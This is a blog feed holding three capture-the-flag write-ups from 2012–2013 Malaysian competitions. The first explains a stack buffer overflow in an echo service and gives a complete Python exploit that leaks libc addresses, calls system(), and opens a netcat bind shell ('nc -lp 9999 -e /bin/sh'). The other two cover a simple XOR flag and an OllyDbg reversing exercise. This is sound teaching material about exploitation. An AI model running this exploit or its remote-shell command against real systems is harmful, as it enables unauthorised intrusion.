tag:blogger.com,1999:blog-72833251828498918532024-02-22T11:09:05.006-08:00daisuke'sDaisukehttp://www.blogger.com/profile/16363737852802058744noreply@blogger.comBlogger5125tag:blogger.com,1999:blog-7283325182849891853.post-58896554860544809572013-04-15T21:27:00.003-07:002020-11-25T16:36:42.830-08:00Post mortem i-Hack 2013 "redacted" serviceI only managed to solve this service slightly after the competition ended. I did not notice the /bin/redacted/redacted service until it was 10 pm in the evening. I was really not used to not have proper privileges over my own box, mind me. The network during the competition was quite bad, which I suspected the cause was the bandwidth cap implemented by the organizers. There was even so much automated scanning made by other competitors towards our machines, rapidly accumulating our bandwidth to trigger the cap.<br />
<br />
It was until the organizers stopped the game at about 8.30pm that they've fixed the bandwidth cap (and also increased users' privileges too?). Most of the time before discovering this service, I was trying to pull binaries from our own box, but scp could hardly got up to 32kb before stalling. The only solution was to gzip those files and serve it in /var/www/upload, and then use a download manager to pull in the archives (due to the disconnections). And then I was trying so hard to debug samba and dovecot service. Could not get them to work on my environment (Could someone clarify whether there was any custom holes in those services?). Although, the game setup was same for everyone, so it's still fair I guess.<br />
<div>
<br /></div>
<div>
Enough ranting, this service is running on port 43123 which provides an "echo" service with a buffer overflow vulnerability. The binary is protected with both full ASLR and NX stack.</div>
<div>
A hex-rays dump shows us exactly this vulnerable function:<br />
<br />
<pre class="brush: c">int __cdecl redacted(int fd)
{
char s[120]; // [sp+1Ch] [bp-8Ch]@1
int v3; // [sp+94h] [bp-14h]@1
int i; // [sp+98h] [bp-10h]@5
size_t n; // [sp+9Ch] [bp-Ch]@1
n = 120;
memset(s, 0, 0x78u);
v3 = read(fd, s, 0xFFu);
if ( v3 < 0 )
error("ERROR reading from socket");
if ( (signed int)n > 255 )
n = 255;
printf("Echoing %d characters\n", n);
for ( i = 0; i < (signed int)n; ++i )
{
write(fd, &s[i], 1u);
if ( v3 < 0 )
error("ERROR writing to socket");
}
return 0;
}
</pre>
<br />
<br />
As you can see, the binary accepts 255 bytes of payload while the memory set for the buffer is only 120. Also the buffer is the first variable declared, leaving all other variables vulnerable, including the return address. While a jmp esp would have got the job done (which actually exists in the binary), NX bit made our lives a bit harder. But all is not lost, we still have the probability to execute our exploit through ROP if there is a way for us to determine the address of libc through the buffer overflow. The size of buffer to be echo'ed (n) was limited to 120 at first, and then is changed to 255 only if it is more than 255. We can try this:<br />
<br />
<pre class="brush:c">python -c "print 'eggg'+'A'*140" | nc localhost 43123| hd
00000000 65 67 67 67 41 41 41 41 41 41 41 41 41 41 41 41 |egggAAAAAAAAAAAA|
00000010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
*
00000070 41 41 41 41 41 41 41 41 91 00 00 00 7c 00 00 00 |AAAAAAAA....|...|
00000080 ff 00 00 00 41 41 41 41 41 41 41 41 41 41 41 41 |....AAAAAAAAAAAA|
00000090 0a 89 04 08 09 00 00 00 40 d7 ff ff 60 d7 ff ff |........@...`...|
000000a0 54 a0 04 08 04 00 00 00 f4 9f 04 08 01 00 00 00 |T...............|
000000b0 f9 84 04 08 02 00 8e 77 7f 00 00 01 00 00 00 00 |.......w........|
000000c0 00 00 00 00 02 00 a8 73 00 00 00 00 00 00 00 00 |.......s........|
000000d0 00 00 00 00 10 00 00 00 00 00 00 00 09 00 00 00 |................|
000000e0 73 a8 00 00 f0 89 04 08 00 00 00 00 00 00 00 00 |s...............|
000000f0 d3 44 e3 f7 01 00 00 00 14 d8 ff ff 1c d8 ff |.D.............|
000000ff
</pre>
<br />
Yup, the overwrite certainly triggered the server to print out 255 bytes which contains a dump of the stack from the server. Lets see if any of the info here is useful. Running the program in gdb allows us to examine the binary. But before that, we should note that the binary handles SIGSEGV and SIGINT in the main function:<br />
<br />
<br />
<pre class="brush:c">signal(2, (__sighandler_t)wrapUp_int);
signal(11, (__sighandler_t)wrapUp_segv);
</pre>
<br />
I assumed this to ensure cleaner exit for this service, but it also acts as a simple anti-debugging feature that makes us a little bit harder to examine segmentation faults from gdb. Nevertheless, a gdb script could help effectively "disable" the segv handler:<br />
<br />
<pre class="brush:c">file redacted
set follow-fork-mode child
set detach-on-fork off
b main
run
set {int}0x8048876 = 2
continue
</pre>
Now we can freely debug and happily catch segv if any. But not gonna do that now. Break on 0x804884d and get to this point:
<br />
<br />
<pre class="brush:c">(gdb) x/1x 0xf7e344d3
0xf7e344d3 <__libc_start_main+243>: 0xe8240489
</pre>
<br />
So the offset from this leak is libc+243, which I assume to be a return address from a libc call.
<br />
Clearly we can exploit this service through info leak & return to libc. A bonus is that stack address is there too, which makes us to be able to determine exactly where our payload is located in the stack, so there is no need for us to chain ROP gadgets for capturing our buffer. Notice I have added "eggg" in my previous payload. This is to make our egg hunting easier. A simple search in the stack using gdb would do:<br />
<br />
<pre class="brush:c">(gdb) find /w 0xffffd000, 0xffffdfff, 0x67676765
0xffffd68c
1 pattern found.
</pre>
<br />
To get the offset for our payload, simply:<br />
0xffffd740 - 0xffffd68c = 0xb4<br />
<br />
From the leak, we have known that the libc address is __libc_start_main+243, so to get the correct offset for libc we should subtract the leak address with 243, and then the main offset. Objdump would give us the offsets:<br />
<br />
<pre class="brush:c">root@kali:~# objdump -T /lib32/libc.so.6 | grep "_main\|system"
0011d7c0 g DF .text 00000049 GLIBC_2.0 svcerr_systemerr
0006c5a0 g DF .text 00000028 GLIBC_2.2 _IO_switch_to_main_wget_area
0003f430 g DF .text 0000008d GLIBC_PRIVATE __libc_system
0003f430 w DF .text 0000008d GLIBC_2.0 system
000193e0 g DF .text 000001c2 GLIBC_2.0 __libc_start_main
</pre>
<br />
So the _main function from libc is 0x193e0, and system is at 0x3f430. We can conclude that to get to system, a simple algorithm can be used: [leak]-243-[libc_main]+[system]. We could always used other functions from libc too, but its simpler to use system here since it only requires 1 argument. A warning though, this binary does not write any output to our socket after the exploit. To get output, we would have to get our socket fd, also we would need to chain up read+write etc. Simplest solution would be to execute a bind shell.<br />
<br />
To wrap up, here comes an ugly-but-nice exploit in python.<br />
<br /></div>
<div>
<pre class="brush: python">#!/usr/bin/python
import sys
import socket
import select
from struct import pack, unpack
def get_leaks():
global serv
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((serv, 43123))
s.send("A"*144)
str = s.recv(255, socket.MSG_WAITALL)
stack = unpack("<I",str[152:156])[0]-0xB4
libc_main = unpack("<I",str[240:244])[0]-243
return (stack,libc_main)
def exploit(cmd):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((serv, 43123))
###SYSTEM
buf = "%-144s%s" % (cmd, pack("<I", system))
buf += pack("<I", pop2ret)
buf += pack("<I", stack)
buf += "NULL"
###EXIT #overkill. but its nice to be nice :)
buf += pack("<I",exit)
buf += pack("<I",0xdeadbeef)
buf += pack("<I",0)
s.send(buf)
ready = select.select([s],[],[],2) #2 seconds timeout
if ready[0]:
print "[!]Got reply : %s " % s.recv(1024)
return False
return True
bind = False
argv = sys.argv
if len(argv) < 2:
sys.exit("Usage: 43123.py target cmd")
if len(argv) < 3:
cmd = "%s" % "/bin/nc -lp 9999 -e /bin/sh;exit;"
bind = True
else:
cmd = ' '.join(argv[2:])
if len(cmd) > 144:
sys.exit("Sorry, more than 144 chars")
serv = argv[1]
libc_main_offset = 0x193e0
leaks = get_leaks()
stack = leaks[0]
libc = leaks[1]-libc_main_offset
system = libc+0x3f430
exit = libc+0x32fb0
pop2ret = 0x080486c2
#mmap = libc+0xeb040
print "\n[+]libc = %x\n[+]stack = %x\n[+]system = %x\n[+]cmd = %s" % (libc, stack, system, cmd)
print "[+]Sending sploit"
stat = exploit(cmd)
if (bind and stat):
import subprocess
print "[+]Incoming bindshell"
subprocess.call("nc -v "+serv+" 9999", shell=True)</pre>
<br />
Screenshot. Hackers love screenshot.<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQbPj91G7riC3wjprWt5wsqvSxFSkiWDgF6g8EzhyN1zkS17_3t3yDdRvJwxn6IhAq99vXYPu8KZVwBIaIufpMbqG1xXgxLxgL6KTwxxHw4dkYLev0AnpCxaE9w-lZ6q0cSkLItifXORi0/s1600/exploit.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="201" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQbPj91G7riC3wjprWt5wsqvSxFSkiWDgF6g8EzhyN1zkS17_3t3yDdRvJwxn6IhAq99vXYPu8KZVwBIaIufpMbqG1xXgxLxgL6KTwxxHw4dkYLev0AnpCxaE9w-lZ6q0cSkLItifXORi0/s320/exploit.jpg" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div>
After we're inside, to get the flag we could just do: dd if=/dev/kondom count=100 skip=33664 bs=1 2>/dev/null<br />
<br />
Oh well, too late for that. My performance is just way too bad this time. Good practice anyway.<br />
<br />
Thanks to scan associates for organizing this game. To UiTM for hosting this event. Grats to winners for winning. Hope to see you guys around. Until next time :)<br />
<br />
Here's some cookie:<br />
<a href="https://sites.google.com/site/aegisrunestone3/redacted.zip?attredirects=0&d=1">redacted</a><br />
<a href="https://sites.google.com/site/aegisrunestone3/libc.so.6.gz?attredirects=0&d=1">libc.so.6</a><br />
</div>
</div>
Daisukehttp://www.blogger.com/profile/16363737852802058744noreply@blogger.com7tag:blogger.com,1999:blog-7283325182849891853.post-42382691440168798062013-04-14T20:37:00.000-07:002013-04-14T20:37:02.725-07:00i-Hack 2013 challange3<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEil0R5yIQvFZhDExYKDP0kMlveEoaR3x1q2sH4UJQdCUNe2dJuS-pHk2MquFnzdN4GiO2Om7OudTyJ62DcUH1LMkTZrfRRNbv0xBG1XqWE-vA-enow058UEAS999bYWWyQufXA_R-briMiW/s1600/chal3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="294" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEil0R5yIQvFZhDExYKDP0kMlveEoaR3x1q2sH4UJQdCUNe2dJuS-pHk2MquFnzdN4GiO2Om7OudTyJ62DcUH1LMkTZrfRRNbv0xBG1XqWE-vA-enow058UEAS999bYWWyQufXA_R-briMiW/s320/chal3.jpg" width="320" /></a></div>
<br />
This challenge is quite simple, an xor'ed text is stored in the stack. Xor-ing these static values would yield us the flag:<br />
<br />
<div>
<pre class="brush: python;">s = "\xcc\xa5\xe9\xea\xf3\xe0\xa5\xc8\xe4\xe9\xe4\xe6\xe6\xe4\xa4"
r = ""
for i in s:
r += chr(ord(i) ^ 0x85)
print r
###
I love Malacca!</pre>
</div>
Daisukehttp://www.blogger.com/profile/16363737852802058744noreply@blogger.com1tag:blogger.com,1999:blog-7283325182849891853.post-11600964846118375172012-04-24T18:00:00.003-07:002013-04-13T21:47:23.034-07:00Uniten Hack@10 2012 binary write-up (ex02)Continued from <a href="http://feetsonmyshoes.blogspot.com/2012/04/uniten-hack10-tulis-atas.html">here</a><br />
<br />
Now lets analyze the second binary.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjA3q7abzNzli9JBBkopO6tmfHdGePcnniM-hvqbVVbUZ2oh9-uzgxdXrdCg4EeHKZp70e2m0lox6qTeCDLfCeL11D0TFy4swUkvPBiOqcHr0slBjiJcbuFzc-2xWTUwGQkePnnMPm66V9-/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="115" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjA3q7abzNzli9JBBkopO6tmfHdGePcnniM-hvqbVVbUZ2oh9-uzgxdXrdCg4EeHKZp70e2m0lox6qTeCDLfCeL11D0TFy4swUkvPBiOqcHr0slBjiJcbuFzc-2xWTUwGQkePnnMPm66V9-/s320/1.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div style="text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYb8KrVlo_LSqDi1NYpM5bbmJFD64ZZYtwaDbAe1nb8whymMKpgchSxmKF5j3ZEcuEZNw7zUM5uFrMGmcvsZh78S-UNlFHZ-ee7jbCVTNVHzY-Kh7BkgHZvaH91tPz1n3NzEg6R2j0lzY2/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="120" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYb8KrVlo_LSqDi1NYpM5bbmJFD64ZZYtwaDbAe1nb8whymMKpgchSxmKF5j3ZEcuEZNw7zUM5uFrMGmcvsZh78S-UNlFHZ-ee7jbCVTNVHzY-Kh7BkgHZvaH91tPz1n3NzEg6R2j0lzY2/s320/2.png" width="320" /></a></div>
<br />
It looks and behaves identically with the first one, we could simply try to backtrack to the check function through searching for static texts "Correct" and "Wrong".<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpioRDWyysrqd60TVccbc8E6_TvB_Xio5FAuzYT6oY9kT0pZ0aX02bNKizSdIUze9kAxnl617i1yGGuCqHpN-xvQEFWqlY9AKD2tOFKUXwSYPbl1K5HUiEOjVtLJv79sQS2PNoh6yKZsQk/s1600/3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="186" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpioRDWyysrqd60TVccbc8E6_TvB_Xio5FAuzYT6oY9kT0pZ0aX02bNKizSdIUze9kAxnl617i1yGGuCqHpN-xvQEFWqlY9AKD2tOFKUXwSYPbl1K5HUiEOjVtLJv79sQS2PNoh6yKZsQk/s320/3.png" width="320" /></a></div>
<br />
This time, we try to search for all jumps to the "Wrong" section. Do this with Right Click at 013D111D > Find References to > Selected command<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-Uq9eYsab9XSCdtIGE4qg_kLgFeZ_UJQ1Dz6XrmrhQO17oW4O2ZJGt80SNMgA2UPQBzg-rfuDyeOH4bloj0UVLjyJgkC3eh6COPZgDcfib-ZwfGwOX96HowPi7Wd3KZSSGcMURuxl5hYk/s1600/4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="120" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-Uq9eYsab9XSCdtIGE4qg_kLgFeZ_UJQ1Dz6XrmrhQO17oW4O2ZJGt80SNMgA2UPQBzg-rfuDyeOH4bloj0UVLjyJgkC3eh6COPZgDcfib-ZwfGwOX96HowPi7Wd3KZSSGcMURuxl5hYk/s320/4.png" width="320" /></a></div>
<br />
The results shows that only one jump is referred to this function. This could mean that there are only one check for this binary. But, we cant still be too sure as checks does not necessarily have to jump straight to the "Wrong" section. Lets go and see our jump over there with Right Click > Follow in Disassembler<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbR5lf3oFDcNHozhphiHKkGmxlJul4ZjT5HXypiKlWni1GADD6eQnppHvvRJHq7iidUigcEWS8vGoUuO-4IGS1deMaJuhnEJh1WBcRo16FCdsaU5JE2ffhzQJ_zONhiMH0AIssYpUt8xzD/s1600/5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="77" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbR5lf3oFDcNHozhphiHKkGmxlJul4ZjT5HXypiKlWni1GADD6eQnppHvvRJHq7iidUigcEWS8vGoUuO-4IGS1deMaJuhnEJh1WBcRo16FCdsaU5JE2ffhzQJ_zONhiMH0AIssYpUt8xzD/s320/5.png" width="320" /></a></div>
<br />
A compare of EAX is what the binary checks for. But 467BB09B is a static number, so there must be some calculation done beforehand. Lets see what calculation is there.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNE6LisjJ3Haa2BxSMDhYvQUmiQYvDO6-9gVoTOkSEjIxFOT1XH2laiMi3AsEcID6dxvgLywnYoSfZvtvFqarEAPRnM5QKm7NoTf7BLcA7hED_ZrElgGzzdHbnGXXB6DYB3ujZHMNmSz_3/s1600/6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="37" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNE6LisjJ3Haa2BxSMDhYvQUmiQYvDO6-9gVoTOkSEjIxFOT1XH2laiMi3AsEcID6dxvgLywnYoSfZvtvFqarEAPRnM5QKm7NoTf7BLcA7hED_ZrElgGzzdHbnGXXB6DYB3ujZHMNmSz_3/s320/6.png" width="320" /></a></div>
<br />
That looked pretty short, we could just try to reverse this function to get EAX = 467BB09B. Lets see where our input goes. Place a breakpoint at 013D10D7, and run the check by pressing the check button at our binary. After the application stops at our breakpoint, look for the EAX value to see what if it holds.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-460yFZdrru1vxDfJNYf9IQAvRUji5yBjXVQHNdSrWpOXNnll5e42fQO0d-W1eFfsypNiX89Wn8i7RtvTTF5qSlsNnzAZAK6A0wxUYIGBe0I0G0Ogz7pYwXX9A_F3PL4JQYSJfjXHyc-W/s1600/7.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="165" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-460yFZdrru1vxDfJNYf9IQAvRUji5yBjXVQHNdSrWpOXNnll5e42fQO0d-W1eFfsypNiX89Wn8i7RtvTTF5qSlsNnzAZAK6A0wxUYIGBe0I0G0Ogz7pYwXX9A_F3PL4JQYSJfjXHyc-W/s320/7.png" width="320" /></a></div>
<br />
So the application stops at our breakpoint. We've spotted our input string at our stack. But strangely enough, EAX is 0 at this point. Lets put a breakpoint higher to see how the binary process our input. Right click at 013D10C6 > Breakpoint > Toggle. Let the application finish running by pressing F9 once.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYkDEo1FjPIJKjJzuhq-HrOLlsSKMVAaHaNKtyL5Vh2rtxGk4x1wT3N6TqSxA35AR50oNdTs1ehP17wMbPjCUaaeTio4rXX3-z7K1X5s6CEf5xC2fiTsfiMHG6Sqdvbt0LZLT95FqAm4yV/s1600/8.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="64" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYkDEo1FjPIJKjJzuhq-HrOLlsSKMVAaHaNKtyL5Vh2rtxGk4x1wT3N6TqSxA35AR50oNdTs1ehP17wMbPjCUaaeTio4rXX3-z7K1X5s6CEf5xC2fiTsfiMHG6Sqdvbt0LZLT95FqAm4yV/s320/8.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
After clicking the check button for the second time, we should land at our new breakpoint. The grey lines at the right column indicates that the binary will be going through some sort of function call. Looks like there are 3 arguments for this function call. Lets see if we can find our input string in any of them. Press F7 to step into instruction and Ollydbg will show the values of the argument as it passes through the respective operands.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGVXLk-VviaIBgJX2epUF_HiFSAkwOudSCuWpaPw5DQFgBXDCU7QDW1GCC7x2KoPAP6Tvk-57ZPYud-Pns4393jHcUJ98tYVg-0AKjAPr4oJloFFlVCqg-g8Sh4DjYLWYlwnbUR-g7ciZY/s1600/9.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="27" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGVXLk-VviaIBgJX2epUF_HiFSAkwOudSCuWpaPw5DQFgBXDCU7QDW1GCC7x2KoPAP6Tvk-57ZPYud-Pns4393jHcUJ98tYVg-0AKjAPr4oJloFFlVCqg-g8Sh4DjYLWYlwnbUR-g7ciZY/s320/9.png" width="320" /></a></div>
<br />
While Arg3 and Arg2 shows nothing really interesting, Arg1 is the pointer to our input string. This means that our input string will be processed before going to the check function. Lets just skip the CALL function at 013D10D2 for now. Skip it by pressing step-over (F8) instead of step-into.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgilTSMPy0tWWkDFnR_086mVzDoLZj_YvgtFOWghsWSkRmL6DX_JVsqtw86mvWfwHFUvoOh3ZwoZcReHS81JZZ2hzs6Q2vX_sIGWtIKIrNPL4cXUHVOvhdj5-mpBBTdQ3PGoIlAOoUKH915/s1600/10.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="163" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgilTSMPy0tWWkDFnR_086mVzDoLZj_YvgtFOWghsWSkRmL6DX_JVsqtw86mvWfwHFUvoOh3ZwoZcReHS81JZZ2hzs6Q2vX_sIGWtIKIrNPL4cXUHVOvhdj5-mpBBTdQ3PGoIlAOoUKH915/s320/10.png" width="320" /></a></div>
<br />
Unsurprisingly, our EAX is still zero for the input string "testing". Lets try with another input "123abc" and run the application to our breakpoint.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZWOxI7qnCe0T_I94Dg2fDj4-ZJUPUv2E_8x06efaMuhoHYgawfZQXImKmOvOSiK0eufGPR0KCXm5DnaLyUUgwKx9SsqTb8ardRh9g5UxGts7uicb_WGpzySjVG4VMFlhephh_OCaFaLv2/s1600/11.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="28" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZWOxI7qnCe0T_I94Dg2fDj4-ZJUPUv2E_8x06efaMuhoHYgawfZQXImKmOvOSiK0eufGPR0KCXm5DnaLyUUgwKx9SsqTb8ardRh9g5UxGts7uicb_WGpzySjVG4VMFlhephh_OCaFaLv2/s320/11.png" width="320" /></a></div>
<br />
This is our new string, getting ready for the process function. We'll just step over the CALL function and see if EAX holds anything other than 0.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg96GljDbxWqx1uMEtLWZb9w_ruebAvZJHFZPuCbNr0zcrSQPsYCAb-HbG4Ij0iwOAIdALQyuq9DL6zX_ewhggSnDLgRFQNU6CibvUG-ZjMCuHDu-pJbRo7CM-SA0w1YjREPBBt-j9ypDy5/s1600/12.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="164" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg96GljDbxWqx1uMEtLWZb9w_ruebAvZJHFZPuCbNr0zcrSQPsYCAb-HbG4Ij0iwOAIdALQyuq9DL6zX_ewhggSnDLgRFQNU6CibvUG-ZjMCuHDu-pJbRo7CM-SA0w1YjREPBBt-j9ypDy5/s320/12.png" width="320" /></a></div>
<br />
Aha! Finally, our input string has affected EAX. "123ABC" is available in hexadecimal, so the process function must have literally converted our input string to hexadecimal value. So now that we know we can set EAX to a hexadecimal value, we can surely obtain the flag by reversing the check function to find out what value produces the "Correct" statement.<br />
A good knowledge in assembly is required to reverse the check function. For this example, I would translate the assembly instructions into C instructions, so that we can reverse it in C and see what EAX should be.<br />
<br />
These are the assembly instructions that we need to reverse:<br />
<pre class="brush: asm">ADD EAX,45370DF7
XOR EAX,AAFBBCBE
ADD ESP,0C ; We can safely remove this operand, it has nothing to do with EAX
ADD EAX,0D1507BA
ROL EAX,5
XOR EAX,BA14C823
</pre>
<br />
Notice the ROL EAX, 5 operand. This operation is a bitwise rotation operation, and is not available at most higher level languages, even in C. But theres a workaround to it, a simple two shift and or operation could do the trick.<br />
<br />
<pre class="brush: c">int rol(unsigned int x, int n)
{
return ((x >> (32-n)) | (x << n)); //32 for 32 bits
}
</pre>
<br />
Now lets prototype a C program that does the same as the binary.<br />
<br />
<pre class="brush: c">int rol(unsigned int x, int n)
{
return ((x >> (32-n)) | (x << n)); //32 for 32 bits
}
int main()
{
int a = 0;
a = a + 0x45370DF7; //ADD EAX,45370DF7
a = a ^ 0xAAFBBCBE; //XOR EAX,AAFBBCBE
a = a + 0x0D1507BA; //ADD EAX,0D1507BA
a = rol(a, 5); //ROL EAX,5
a = a ^ 0xBA14C823; //XOR EAX,BA14C823
printf("%X", a);
return 0;
}
</pre>
<br />
To test our code, we should try input a = 0 first, so we can check whether the result is equals as per our binary's check procedure.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUWkMFx1UvyRp_yYHrARLxvWkbo0_qYYlk83wJWHyc_ouU-2Gx5j1xkfq1aQDuwZmIOk7CCXGNzm4ZfvAJqZYOXP12eERU_U6BPwmdqDV4HUCEwk510vQmdqkFkjTwDyR9n3k9arRvCRUX/s1600/14.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="30" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUWkMFx1UvyRp_yYHrARLxvWkbo0_qYYlk83wJWHyc_ouU-2Gx5j1xkfq1aQDuwZmIOk7CCXGNzm4ZfvAJqZYOXP12eERU_U6BPwmdqDV4HUCEwk510vQmdqkFkjTwDyR9n3k9arRvCRUX/s320/14.png" width="320" /></a></div>
<br />
Remove all previous breakpoints. Set a new one at our CMP function just before the conditional jump.<br />
Set the binary to check for "testing" or any other invalid hexadecimal strings so that EAX = 0, which is equals to a = 0 in our C code.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgapgZgYl2vIpnIglVr0INkz_Qj7AJt2vax_Mr7AcUULN8tlEcIa2e9nxnIC9LWzTeGrRRcnPLQQvN5bOqIIxrImesrd_lepfaR6-zmF6H39YYicUP4GK5X6IW96tWHFJT-w-MqC_1UE0oU/s1600/15.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="108" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgapgZgYl2vIpnIglVr0INkz_Qj7AJt2vax_Mr7AcUULN8tlEcIa2e9nxnIC9LWzTeGrRRcnPLQQvN5bOqIIxrImesrd_lepfaR6-zmF6H39YYicUP4GK5X6IW96tWHFJT-w-MqC_1UE0oU/s320/15.png" width="320" /></a></div>
<br />
Now we have obtained the value of EAX as what it should be if the starting value of EAX is 0. Lets see if our application gets the same result.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkErOm76YuNSo8mEjINarDBrNZ9r8C76yPSSFQ11lbh2gvIWBQivZY9QGahVV8Bxb-DjTqUBia8bIQ75ufsIDuxoIrnqN-1JGgtWk45oMCh8KMCQ6JAQfKkCUDZQYMlf0TN2BMPV6DSyWb/s1600/16.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="160" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkErOm76YuNSo8mEjINarDBrNZ9r8C76yPSSFQ11lbh2gvIWBQivZY9QGahVV8Bxb-DjTqUBia8bIQ75ufsIDuxoIrnqN-1JGgtWk45oMCh8KMCQ6JAQfKkCUDZQYMlf0TN2BMPV6DSyWb/s320/16.png" width="320" /></a></div>
<br />
Yes! 2623E85C is exactly what we're looking for. So now that we have successfully ported the assembly codes to C codes, we could reverse our C code to obtain the flag.<br />
ROL function is a bit rotate-left function, so we must first define ROR function in C that does the exact opposite of ROL.<br />
<br />
<pre class="brush: c">int ror(unsigned int a, int n)
{
return (a >> n) | (a << (32-n));
}
</pre>
<br />
It's done, so lets reverse everything else :<br />
<pre class="brush: c">int main()
{
int a = 0x467BB09B; // obtained from CMP EAX,467BB09B
a = a ^ 0xBA14C823; // a = a ^ 0xBA14C823;
a = ror(a, 5); // a = rol(a, 5);
a = a - 0x0D1507BA; // a = a + 0x0D1507BA;
a = a ^ 0xAAFBBCBE; // a = a ^ 0xAAFBBCBE;
a = a - 0x45370DF7; // a = a + 0x45370DF7;
printf("%X\n", a);
return 0;
}
</pre>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjm0Qz62ec39dR6KGEKfqNN51JeDxKGVbukwtXySfI151F3GZlE7iU2epCB4CmWmkMTUh2Ow2qhzTNhqIw15iPgCx7qrEnd6285pOlM7pHkJqPD6Al6FHpl3FckYTQtkdxqn2aPDL2e-1ji/s1600/17.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="160" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjm0Qz62ec39dR6KGEKfqNN51JeDxKGVbukwtXySfI151F3GZlE7iU2epCB4CmWmkMTUh2Ow2qhzTNhqIw15iPgCx7qrEnd6285pOlM7pHkJqPD6Al6FHpl3FckYTQtkdxqn2aPDL2e-1ji/s320/17.png" width="320" /></a></div>
